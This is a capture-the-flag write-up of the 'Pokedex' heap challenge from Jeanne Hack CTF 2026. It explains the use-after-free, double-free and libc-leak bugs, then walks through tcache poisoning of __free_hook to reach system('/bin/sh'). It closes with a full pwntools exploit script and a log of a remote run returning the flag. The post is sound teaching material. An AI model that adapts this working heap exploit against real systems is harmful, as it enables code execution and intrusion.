Post

Jeanne Hack CTF 2026 - Pokedex

Jeanne Hack CTF 2026 - Pokedex

CTF: Jeanne Hack CTF 2026

Challenge Description

Professor Oak has developed a new prototype of the Pokédex, but something seems off…

The goal is to analyze the binary, identify vulnerabilities, and achieve code execution.

First look

We are given a classic CTF-style binary that provides a menu-based interface, allowing us to:

  • Catch Pokémon (allocate heap memory)
  • Edit Pokémon data
  • Release Pokémon (free memory)
  • Inspect Pokémon data

Internally, each Pokémon entry corresponds to a dynamically allocated heap chunk. The program stores up to 8 entries, each containing a pointer and its size. At first glance, this looks like a typical heap manager challenge, suggesting that the solution will likely involve heap exploitation.

Local Setup

The challenge provided a custom libc and dynamic loader.
To ensure that the binary runs locally under the same environment as the remote service, we used pwninit to patch the executable with the given libc and ld.

$ pwninit

Security Protections

We then checked the enabled mitigations on the patched binary:

1
2
3
4
5
6
7
8
9
checksec pokedex_patched
[*] '/home/vein/sec/jeanne_hack_ctf-2026/pwn-pokedex/pokedex_patched'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    Stripped:   No

Because of these mitigations, classical stack-based exploitation is not feasible.
Therefore, the intended solution focuses on heap exploitation and libc hijacking.

Vulnerability Analysis

The Pokédex implements a simple heap manager but contains multiple memory management bugs.

Unrestricted Allocation Size

The program allows allocations up to 1280 bytes:

1
if (!v1 || v1 > 1280) error;

This lets us allocate both:

  • Small chunks (tcache)
  • Large chunks (unsorted bin) This is useful for controlled heap grooming and leaking libc.

Use-After-Free & Double-Free

In release_pokemon(), freed pointers are not cleared:

1
free(ptr);

The slot remains valid, allowing:

  • Editing freed chunks
  • Inspecting freed chunks
  • Freeing the same chunk again

This creates a use-after-free and potential double-free vulnerability.

Information Leak

inspect_pokemon() prints raw memory from heap chunks.

When inspecting freed large chunks, we can leak main_arena pointers from the unsorted bin, giving a reliable libc leak.

Summary

These bugs give us:

BugPrimitive
UAFWrite into freed chunks
Double-freeTcache control
InspectLibc leak

Since glibc 2.27 has no safe-linking, this enables tcache poisoning.

Exploit Walkthrough

The exploit has two stages:

  1. Leak libc using an unsorted bin chunk
  2. Overwrite __free_hook using tcache poisoning

Stage 1 — Libc Leak

We allocate and free 2 large chunks:

1
2
3
4
malloc(0, 1280, 'trash-0')
malloc(1, 1280, 'trash-1')
free(0)
insp3ct(0)

This leaks a main_arena pointer from the unsorted bin.

Libc leak from unsorted bin

We compute libc base:

1
libc.address = leak - 0x3ebca0

Stage 2 — Tcache Poisoning

We prepare a tcache chunk:

1
2
malloc(2, 0x60, 'trash-3)
free(2)

Using UAF, we overwrite its forward pointer:

1
edit(2, 8, p64(libc.sym.__free_hook))

Stage 3 — Code Execution

We allocate twice:

1
2
malloc(3, 0x60, '/bin/sh\x00')
malloc(4, 0x60, p64(libc.sym.system))

This overwrites:

1
__free_hook = system

Freeing /bin/sh triggers:

1
free(3)

Result:

1
system("/bin/sh")

We then read the flag.

POC

1
2
3
4
5
6
7
8
9
10
┌──(vein㉿DESKTOP-9OL88GK)-[~/sec/jeanne_hack_ctf-2026/pwn-pokedex]
└─$ ./exploit.py REMOTE
[+] Opening connection to pwn.jeanne-hack-ctf.org on port 9002: Done
/home/vein/sec/jeanne_hack_ctf-2026/pwn-pokedex/./exploit.py:26: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  ru      = lambda delims, drop=True  :p.recvuntil(delims, drop, timeout=context.timeout)
[*] main arena: 0x7fac3a125ca0
[*] libc base : 0x7fac39d3a000
[*] Switching to interactive mode
JDHACK{90TTa_CATCH_7H3M_41L!}
$

Conclusion

This challenge can be solved by combining:

  • Unsorted bin leak
  • Use-after-free
  • Tcache poisoning
  • __free_hook overwrite

Using these primitives, we achieve reliable code execution on glibc 2.27.

Full Exploit Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python3

from pwn import *

elf = context.binary = ELF('./pokedex_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

gdbscript = '''

    continue

'''

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gdbscript)
    if args.REMOTE:
        return remote('pwn.jeanne-hack-ctf.org', 9002)
    else:
        return process(elf.path)

convert = lambda x                  :x if type(x)==bytes else str(x).encode()
s       = lambda data               :p.send(convert(data))
sa      = lambda delim, data        :p.sendafter(convert(delim), convert(data), timeout=context.timeout)
sl      = lambda data               :p.sendline(convert(data))
sla     = lambda delim,data         :p.sendlineafter(convert(delim), convert(data), timeout=context.timeout)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop, timeout=context.timeout)
r       = lambda n                  :p.recv(n)
rl      = lambda                    :p.recvline()
  
def malloc(idx, size, data):
    sla('> ', '1')
    sla(': ', idx)
    sla(': ', size)
    sla(': ', data)

def edit(idx, size, data):
    sla('> ', '2')
    sla(': ', idx)
    sla(': ', size)
    sla(': ', data)  

def free(idx):
    sla('> ', '3')
    sla(': ', idx)

def insp3ct(idx):
    sla('> ', '4')
    sla(': ', idx)

p = start()

malloc(0, 1280, 'trash-0')
malloc(1, 1280, 'trash-1')
  
free(0)

insp3ct(0)
ru(' 0: ')
MAIN_ARENA = int(rl().strip(), 16)
libc.address = MAIN_ARENA - 0x3ebca0
info('main arena: ' + hex(MAIN_ARENA))
info('libc base : ' + hex(libc.address))
  
malloc(2, 0x60, 'trash-2')
free(2)
edit(2, 8, p64(libc.sym.__free_hook))
 
malloc(3, 0x60, '/bin/sh\x00')
malloc(4, 0x60, p64(libc.sym.system))
  
free(3)
sl('cat flag.txt')

p.interactive()
This post is licensed under CC BY 4.0 by the author.